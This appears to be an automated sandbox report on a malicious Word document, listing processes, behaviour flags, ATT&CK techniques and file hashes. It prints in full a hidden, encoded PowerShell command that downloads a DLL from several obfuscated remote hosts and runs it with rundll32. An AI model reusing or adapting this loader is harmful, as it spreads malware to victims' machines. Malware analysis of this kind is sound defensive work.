BuAHMAdQBsAHQAaQBuAGcALgBjACcAKwAnAG8AJwArACcAbQBxAGEAKQAoACcAKQApACsAKAAoACcANgA3ACkAKABjADUAMQBxACcAKwAnAHQAJwArACcAbAAxACcAKQApACsAJwB1ACcAKwAnAGYALgAnACsAKAAnAHoAaQBwAEAAJwArACcAaAB0AHQAJwArACcAcABzACcAKQArACcAOgAnACsAKAAoACcAcQBhACcAKwAnACkAKAA2ACcAKQApACsAKAAoACcANwApACgAJwArACcAcQBhACkAJwArACcAKAAnACkAKQArACcANgAnACsAKAAoACcANwApACgAbwB3AGwALQBzACcAKwAnAHEAdQAnACsAJwBhAGQALgAnACsAJwBjACcAKQApACsAJwBvACcAKwAnAG0AJwArACgAKAAnAHEAJwArACcAYQAnACsAJwApACgANgA3ACkAKAAnACkAKQArACgAJwBpAGMAZwAnACsAJwAyAG0AbQAnACkAKwAoACcAZAAnACsAJwBxAHgALgB6AGkAcAAnACkAKQApAC4AIgByAGUAUABgAGwAYQBDAEUAIgAoACgAKAAnAHEAJwArACgAKAAnAGEAJwArACcAKQAoADYANwApACgAJwApACkAKQApACwAKABbAGEAcgByAGEAeQBdACgAJwAvACcAKQAsACgAJwBoAHcAJwArACcAZQAnACkAKQBbADAAXQApAC4AIgBzAHAATABgAEkAdAAiACgAJABGAGIAeQBmADgAegBqACAAKwAgACQARwAyAGQAaABzAG8AOAAgACsAIAAkAEEAaAAzAGkAcQA1AGgAKQA7ACQAQgB3AGoAOQBuAHoAcwA9ACgAKAAnAEMAdAAxADgAJwArACcAawAnACkAKwAnAHEAaAAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFAAXwBnADAAegBzAHIAIABpAG4AIAAkAFAANAAzAHQAYgB3AG8AIAB8ACAAcwBvAHIAYABUAGAALQBgAE8AYgBKAGUAQwB0ACAAewBnAEUAYABUAC0AUgBBAG4AYABkAGAAbwBtAH0AKQB7AHQAcgB5AHsAJABGADkAMwAyADYAcwAzAC4AIgBkAE8AdwBuAEwAYABvAEEAZABmAEkAYABMAEUAIgAoACQAUABfAGcAMAB6AHMAcgAsACAAJABIAGoAcwAxAGoAbQBqACkAOwAkAEcAcgBsAHcAcAAyAGUAPQAoACcAUgBmACcAKwAoACcAYQA3ADIAdwAnACsAJwBkACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAEgAagBzADEAagBtAGoAKQAuACIAbABlAGAATgBHAHQASAAiACAALQBnAGUAIAAzADIAOAAyADYAKQAgAHsAJgAoACcAcgB1ACcAKwAnAG4AZAAnACsAJwBsACcAKwAnAGwAMwAyAC4AZQB4AGUAJwApACAAJABIAGoAcwAxAGoAbQBqACwAMAA7ACQASgAwAHQAMwBtAG8AcwA9ACgAJwBQACcAKwAoACcAYgBvACcAKwAnAF8AbgB5ACcAKQArACcAdwAnACkAOwBiAHIAZQBhAGsAOwAkAE8AXwAwAHQAdgBzAGsAPQAoACgAJwBWAGoAJwArACcAaAAnACkAKwAnAHkAeAAnACsAJwBrAHMAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABPAHkAOAByAHoAcQA4AD0AKAAoACcAVQBjADQAegAnACsAJwAyAHEAJwApACsAJwBrACcAKQA=
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:896

C:\Windows\system32\msg.exe
msg Admin /v Word experienced an error trying to open the file.
2⤵
PID:396

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
POwersheLL -w hidden -ENCOD cwBFAHQALQB2AEEAcgBpAGEAQgBsAGUAIAAgACgAJwBXAHoAJwArACcAcAAnACkAIAAgACgAIAAgAFsAVABZAHAARQBdACgAIgB7ADMAfQB7ADEAfQB7ADQAfQB7ADAAfQB7ADIAfQAiAC0ARgAgACcAcgAnACwAJwBpAE8ALgBEACcALAAnAGUAQwB0AE8AcgB5ACcALAAnAFMAWQBTAHQARQBtAC4AJwAsACcAaQAnACkAIAApADsAUwBFAHQALQBJAFQARQBNACAAIAAoACIAVgBBAFIAIgArACIAaQBBAEIATABlADoASwBRAEQAMwAiACsAIgBvAFAAIgApACAAIAAoACAAWwBUAHkAcABlAF0AKAAiAHsAMAB9AHsANAB9AHsAMwB9AHsAMgB9AHsAMQB9ACIALQBGACcAcwBZAFMAJwAsACcAaQBuAHQAbQBBAG4AQQBnAGUAcgAnACwAJwBlAHAAbwAnACwAJwBpAEMAJwAsACcAVABlAG0ALgBuAEUAVAAuAHMAZQByAFYAJwApACkAIAAgADsAIAAgACQATwA3AGIAMgB5AGUAcwA9ACgAKAAnAEYAJwArACcANQB6ADAAJwApACsAJwBwACcAKwAnAGsAZQAnACkAOwAkAEcAMgBkAGgAcwBvADgAPQAkAEoAYwBxAHQANgBwAGkAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEgAaQA1AGoAdwBoAG0AOwAkAEoANgB5AHcAbQBmADMAPQAoACcARwA4ACcAKwAoACcAeAA2AG0AYwAnACsAJwBrACcAKQApADsAIAAgACgARwBlAFQALQBpAFQAZQBtACAAIAAoACcAdgBhAHIAaQAnACsAJwBBAGIAJwArACcAbABlADoAJwArACcAVwBaAHAAJwApACAAKQAuAFYAYQBsAFUAZQA6ADoAIgBDAGAAUgBFAEEAdABlAGAARABpAHIAZQBgAGMAVABvAFIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAEsAJwArACcAbAAnACsAKAAnAGYASAAnACsAJwAyACcAKQArACgAJwBzADYAeQAnACsAJwBiACcAKQArACgAJwBhAEsAJwArACcAbABmAEwAJwApACsAJwBnACcAKwAnAHEAJwArACgAJwB3AGEAYgBuACcAKwAnAEsAbABmACcAKQApAC4AIgByAGAAZQBgAFAAbABBAGMARQAiACgAKAAnAEsAbAAnACsAJwBmACcAKQAsAFsAUwBUAFIASQBOAEcAXQBbAGMAaABhAFIAXQA5ADIAKQApACkAOwAkAEIAdABqADAAdwA2AG8APQAoACgAJwBRACcAKwAnAHcAcgBxACcAKQArACgAJwBsACcAKwAnAGoAXwAnACkAKQA7ACAAIAAkAGsAcQBkADMAbwBwADoAOgAiAHMARQBjAFUAUgBgAGkAdABgAFkAYABQAHIAYABPAFQATwBjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQATQBzAHcAdQB3AHMAdgA9ACgAKAAnAEgAawAnACsAJwBrACcAKQArACgAJwA5ADMAJwArACcAbwAnACkAKwAnAGQAJwApADsAJABNAGsAOQBrAHAAYgA0ACAAPQAgACgAKAAnAFkAeABoAGQAJwArACcAMAAnACkAKwAnAG4AJwApADsAJABOAHIAdABfADIAegBsAD0AKAAnAFoAJwArACcAOQB4ACcAKwAoACcAbgA1AHEAJwArACcAMgAnACkAKQA7ACQATwA5AGIAeQBtAHYAcQA9ACgAJwBHAHMAJwArACgAJwBqACcAKwAnAHMAeQBjADgAJwApACkAOwAkAEgAagBzADEAagBtAGoAPQAkAEgATwBNAEUAKwAoACgAJwB5ACcAKwAoACcAZgAnACsAJwBBAEgAMgBzADYAJwArACcAeQAnACkAKwAnAGIAYQAnACsAJwB5AGYAJwArACgAJwBBACcAKwAnAEwAZwAnACkAKwAnAHEAdwAnACsAKAAnAGEAYgBuACcAKwAnAHkAZgAnACsAJwBBACcAKQApAC4AIgBSAGAARQBQAGwAYQBgAGMAZQAiACgAKABbAEMAaABBAHIAXQAxADIAMQArAFsAQwBoAEEAcgBdADEAMAAyACsAWwBDAGgAQQByAF0ANgA1ACkALABbAHMAVABSAEkATgBHAF0AWwBDAGgAQQByAF0AOQAyACkAKQArACQATQBrADkAawBwAGIANAArACgAJwAuACcAKwAoACcAZABsACcAKwAnAGwAJwApACkAOwAkAEMAOABkAGMAYwBzADYAPQAoACcAWgBwACcAKwAoACcAbABhAGUAYQAnACsAJwBqACcAKQApADsAJABGADkAMwAyADYAcwAzAD0AbgBFAFcAYAAtAE8AYABCAGoAYABFAEMAVAAgAG4ARQBUAC4AVwBFAGIAYwBMAGkAZQBOAFQAOwAkAFAANAAzAHQAYgB3AG8APQAoACgAKAAoACcAaAAnACsAJwB0AHQAcAAnACsAJwBzADoAcQAnACsAJwBhACkAKAA2ACcAKQApACsAKAAoACcANwApACcAKwAnACgAcQAnACsAJwBhACkAKAAnACkAKQArACgAKAAnADYAJwArACcANwApACgAZgAnACkAKQArACgAJwBpAG4AJwArACcAZABxACcAKwAnAHUAYQBsAGkAdAB5ACcAKwAnAHAAJwApACsAKAAnAGEAcgAnACsAJwB0ACcAKQArACgAJwBzACcAKwAnAC4AYwBvAG0AJwApACsAKAAoACcAcQBhACkAKAAnACsAJwA2ADcAJwApACkAKwAoACgAJwApACgAawAnACsAJwByADQAJwArACcANABkAHQAJwApACkAKwAoACcALgB6AGkAJwArACcAcABAAGgAJwArACcAdAB0AHAAcwA6ACcAKwAnAHEAYQAnACkAKwAoACgAJwApACcAKwAnACgANgAnACkAKQArACgAKAAnADcAKQAnACsAJwAoACcAKQApACsAJwBxACcAKwAoACgAJwBhACkAJwArACcAKAA2ACcAKQApACsAKAAoACcANwApACcAKQApACsAKAAoACcAKABzAGEAZQAnACsAJwBsACcAKQApACsAKAAnAGUAYwAnACsAJwB0AHIAbwBuAGkAYwAnACsAJwBzAHQAcgBhAGQAaQBuACcAKwAnAGcALgBjACcAKQArACgAKAAnAG8AbQBxAGEAJwArACcAKQAoADYAJwArACcANwApACgAJwApACkAKwAnAGQAZQAnACsAJwBrAGsAJwArACgAJwBwADIAYwAnACsAJwBpACcAKwAnAHEALgB6AGkAcABAAGgAJwApACsAJwB0ACcAKwAoACgAJwB0AHAAJwArACcAOgBxAGEAKQAnACkAKQArACgAKAAnACgANgA3ACcAKwAnACkAKAAnACsAJwBxAGEAKQAoADYANwApACgAbABvACcAKQApACsAKAAnAGYAdAAnACsAJwBrAHUAbAAnACkAKwAnAHQAdQAnACsAKAAnAHIALgBiACcAKwAnAGkAbgBrAGgAJwArACcAYQBsACcAKQArACcAaQAnACsAJwBkAGkAJwArACgAJwBuAHQAZQAnACsAJwByAG4AJwApACsAKAAoACcAYQAnACsAJwB0AGkAbwBuACcAKwAnAGEAJwArACcAbAAuAGMAJwArACcAbwBtAHEAYQAnACsAJwApACgANgAnACsAJwA3ACkAKABoAGgANwBsAHcAJwApACkAKwAnAHcAJwArACcANAA1ACcAKwAoACcAMAAnACsAJwAuAHoAaQBwACcAKQArACgAKAAnAEAAaAB0AHQAcAA6ACcAKwAnAHEAYQAnACsAJwApACcAKQApACsAKAAnACgAJwArACcANgA3ACkAJwApACsAJwAoACcAKwAoACgAJwBxAGEAKQAoACcAKwAnADYAJwArACcANwApACcAKwAnACgAZQB4ACcAKwAnAGMAdQByAHMAbwBlACcAKQApACsAKAAnAHMAJwArACcAZABlACcAKQArACgAJwBpAG4AaABhAG0AYQAnACsAJwBpACcAKwAnAHMALgByACcAKQArACgAJwBlAHMAJwArACcAdQBsACcAKwAnAHQAYQB3AGUAJwArACcAYgAuACcAKwAnAGMAbwBtAC4AJwApACsAJwBiACcAKwAoACgAJwByACcAKwAnAHEAYQApACgANgA3ACcAKwAnACkAJwArACcAKABlAGQAJwArACcAeQBrACcAKQApACsAKAAnADMAJwArACcAZABiAHIAJwApACsAKAAoACcALgAnACsAJwB6AGkAcABAACcAKwAnAGgAdAB0AHAAOgBxAGEAKQAnACsAJwAoADYAJwApACkAKwAoACgAJwA3ACcAKwAnACkAKAAnACkAKQArACgAKAAnAHEAJwArACcAYQApACgAJwApACkAKwAoACgAJwA2ACcAKwAnADcAKQAoACcAKQApACsAKAAnAHYAJwArACcAaQBiACcAKQArACgAJwBlACcAKwAnAGEAdQB0AG8AcwBwAGEALgAnACsAJwBjACcAKQArACcAbwAnACsAKAAoACcAbQBxACcAKwAnAGEAKQAoACcAKQApACsAKAAoACcANgA3ACkAKAB4ACcAKwAnAG0AJwApACkAKwAoACcAOQAnACsAJwBkADkAaQAuAHoAJwApACsAKAAnAGkAcABAACcAKwAnAGgAdAB0ACcAKQArACcAcABzACcAKwAoACgAJwA6AHEAJwArACcAYQApACgAJwApACkAKwAnADYAJwArACgAKAAnADcAKQAoACcAKwAnAHEAYQAnACsAJwApACcAKQApACsAJwAoACcAKwAoACgAJwA2ACcAKwAnADcAKQAoACcAKQApACsAJwBnACcAKwAoACgAJwByAGUAZQBuACcAKwAnAGkAbgB2ACcAKwAnAGUAcwB0ACcAKwAnAGMAbwBuAHMAdQBsAHQAaQBuAGcALgBjACcAKwAnAG8AJwArACcAbQBxAGEAKQAoACcAKQApACsAKAAoACcANgA3ACkAKABjADUAMQBxACcAKwAnAHQAJwArACcAbAAxACcAKQApACsAJwB1ACcAKwAnAGYALgAnACsAKAAnAHoAaQBwAEAAJwArACcAaAB0AHQAJwArACcAcABzACcAKQArACcAOgAnACsAKAAoACcAcQBhACcAKwAnACkAKAA2ACcAKQApACsAKAAoACcANwApACgAJwArACcAcQBhACkAJwArACcAKAAnACkAKQArACcANgAnACsAKAAoACcANwApACgAbwB3AGwALQBzACcAKwAnAHEAdQAnACsAJwBhAGQALgAnACsAJwBjACcAKQApACsAJwBvACcAKwAnAG0AJwArACgAKAAnAHEAJwArACcAYQAnACsAJwApACgANgA3ACkAKAAnACkAKQArACgAJwBpAGMAZwAnACsAJwAyAG0AbQAnACkAKwAoACcAZAAnACsAJwBxAHgALgB6AGkAcAAnACkAKQApAC4AIgByAGUAUABgAGwAYQBDAEUAIgAoACgAKAAnAHEAJwArACgAKAAnAGEAJwArACcAKQAoADYANwApACgAJwApACkAKQApACwAKABbAGEAcgByAGEAeQBdACgAJwAvACcAKQAsACgAJwBoAHcAJwArACcAZQAnACkAKQBbADAAXQApAC4AIgBzAHAATABgAEkAdAAiACgAJABGAGIAeQBmADgAegBqACAAKwAgACQARwAyAGQAaABzAG8AOAAgACsAIAAkAEEAaAAzAGkAcQA1AGgAKQA7ACQAQgB3AGoAOQBuAHoAcwA9ACgAKAAnAEMAdAAxADgAJwArACcAawAnACkAKwAnAHEAaAAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFAAXwBnADAAegBzAHIAIABpAG4AIAAkAFAANAAzAHQAYgB3AG8AIAB8ACAAcwBvAHIAYABUAGAALQBgAE8AYgBKAGUAQwB0ACAAewBnAEUAYABUAC0AUgBBAG4AYABkAGAAbwBtAH0AKQB7AHQAcgB5AHsAJABGADkAMwAyADYAcwAzAC4AIgBkAE8AdwBuAEwAYABvAEEAZABmAEkAYABMAEUAIgAoACQAUABfAGcAMAB6AHMAcgAsACAAJABIAGoAcwAxAGoAbQBqACkAOwAkAEcAcgBsAHcAcAAyAGUAPQAoACcAUgBmACcAKwAoACcAYQA3ADIAdwAnACsAJwBkACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAEgAagBzADEAagBtAGoAKQAuACIAbABlAGAATgBHAHQASAAiACAALQBnAGUAIAAzADIAOAAyADYAKQAgAHsAJgAoACcAcgB1ACcAKwAnAG4AZAAnACsAJwBsACcAKwAnAGwAMwAyAC4AZQB4AGUAJwApACAAJABIAGoAcwAxAGoAbQBqACwAMAA7ACQASgAwAHQAMwBtAG8AcwA9ACgAJwBQACcAKwAoACcAYgBvACcAKwAnAF8AbgB5ACcAKQArACcAdwAnACkAOwBiAHIAZQBhAGsAOwAkAE8AXwAwAHQAdgBzAGsAPQAoACgAJwBWAGoAJwArACcAaAAnACkAKwAnAHkAeAAnACsAJwBrAHMAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABPAHkAOAByAHoAcQA4AD0AKAAoACcAVQBjADQAegAnACsAJwAyAHEAJwApACsAJwBrACcAKQA=
2⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1112

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\H2s6yba\Lgqwabn\Yxhd0n.dll 0
3⤵
- Suspicious use of WriteProcessMemory
PID:436

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\H2s6yba\Lgqwabn\Yxhd0n.dll 0
4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Checks whether UAC is enabled
PID:1696

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\H2s6yba\Lgqwabn\Yxhd0n.dll
MD5
f4ff765ab41db56376ba8ff3a9104140

SHA1
e6436254ef5fec9db4208d772f07c5f2153f5d4d

SHA256
8035b530d4c16bc534232b4d2843251fef2ef0d1d68bde32965088d1cdc5b031

SHA512
47dbfd3028daf8e93824ba868bb3e962e4be5b19a47ee16c07138b4d2b15fa9629cdb70527c22bdc53ba84f2c40acd045438794002e75b78ea06f63514303996

Download Submit
\Users\Admin\H2s6yba\Lgqwabn\Yxhd0n.dll
MD5
f4ff765ab41db56376ba8ff3a9104140

SHA1
e6436254ef5fec9db4208d772f07c5f2153f5d4d

SHA256
8035b530d4c16bc534232b4d2843251fef2ef0d1d68bde32965088d1cdc5b031

SHA512
47dbfd3028daf8e93824ba868bb3e962e4be5b19a47ee16c07138b4d2b15fa9629cdb70527c22bdc53ba84f2c40acd045438794002e75b78ea06f63514303996

Download Submit
\Users\Admin\H2s6yba\Lgqwabn\Yxhd0n.dll
MD5
f4ff765ab41db56376ba8ff3a9104140

SHA1
e6436254ef5fec9db4208d772f07c5f2153f5d4d

SHA256
8035b530d4c16bc534232b4d2843251fef2ef0d1d68bde32965088d1cdc5b031

SHA512
47dbfd3028daf8e93824ba868bb3e962e4be5b19a47ee16c07138b4d2b15fa9629cdb70527c22bdc53ba84f2c40acd045438794002e75b78ea06f63514303996

Download Submit
\Users\Admin\H2s6yba\Lgqwabn\Yxhd0n.dll
MD5
f4ff765ab41db56376ba8ff3a9104140

SHA1
e6436254ef5fec9db4208d772f07c5f2153f5d4d

SHA256
8035b530d4c16bc534232b4d2843251fef2ef0d1d68bde32965088d1cdc5b031

SHA512
47dbfd3028daf8e93824ba868bb3e962e4be5b19a47ee16c07138b4d2b15fa9629cdb70527c22bdc53ba84f2c40acd045438794002e75b78ea06f63514303996

Download Submit
\Users\Admin\H2s6yba\Lgqwabn\Yxhd0n.dll
MD5
f4ff765ab41db56376ba8ff3a9104140

SHA1
e6436254ef5fec9db4208d772f07c5f2153f5d4d

SHA256
8035b530d4c16bc534232b4d2843251fef2ef0d1d68bde32965088d1cdc5b031

SHA512
47dbfd3028daf8e93824ba868bb3e962e4be5b19a47ee16c07138b4d2b15fa9629cdb70527c22bdc53ba84f2c40acd045438794002e75b78ea06f63514303996

Download Submit
memory/396-5-0x0000000000000000-mapping.dmp

Download
memory/436-14-0x0000000000000000-mapping.dmp

Download
memory/596-3-0x0000000006320000-0x0000000006324000-memory.dmp

Filesize
16KB

Download
memory/596-4-0x0000000005D63000-0x0000000005D65000-memory.dmp

Filesize
8KB

Download
memory/596-2-0x0000000000692000-0x000000000069B000-memory.dmp

Filesize
36KB

Download
memory/1112-7-0x000007FEF50F0000-0x000007FEF5ADC000-memory.dmp

Filesize
9.9MB

Download
memory/1112-13-0x000000001AB70000-0x000000001AB71000-memory.dmp

Filesize
4KB

Download
memory/1112-12-0x000000001C320000-0x000000001C321000-memory.dmp

Filesize
4KB

Download
memory/1112-11-0x0000000001F10000-0x0000000001F11000-memory.dmp

Filesize
4KB

Download
memory/1112-10-0x0000000002540000-0x0000000002541000-memory.dmp

Filesize
4KB

Download
memory/1112-9-0x000000001ADE0000-0x000000001ADE1000-memory.dmp

Filesize
4KB

Download
memory/1112-8-0x0000000001E40000-0x0000000001E41000-memory.dmp

Filesize
4KB

Download
memory/1112-6-0x0000000000000000-mapping.dmp

Download
memory/1696-16-0x0000000000000000-mapping.dmp

Download
memory/1696-21-0x0000000000730000-0x000000000076D000-memory.dmp

Filesize
244KB

Download
memory/1720-22-0x000007FEF6010000-0x000007FEF628A000-memory.dmp

Filesize
2.5MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads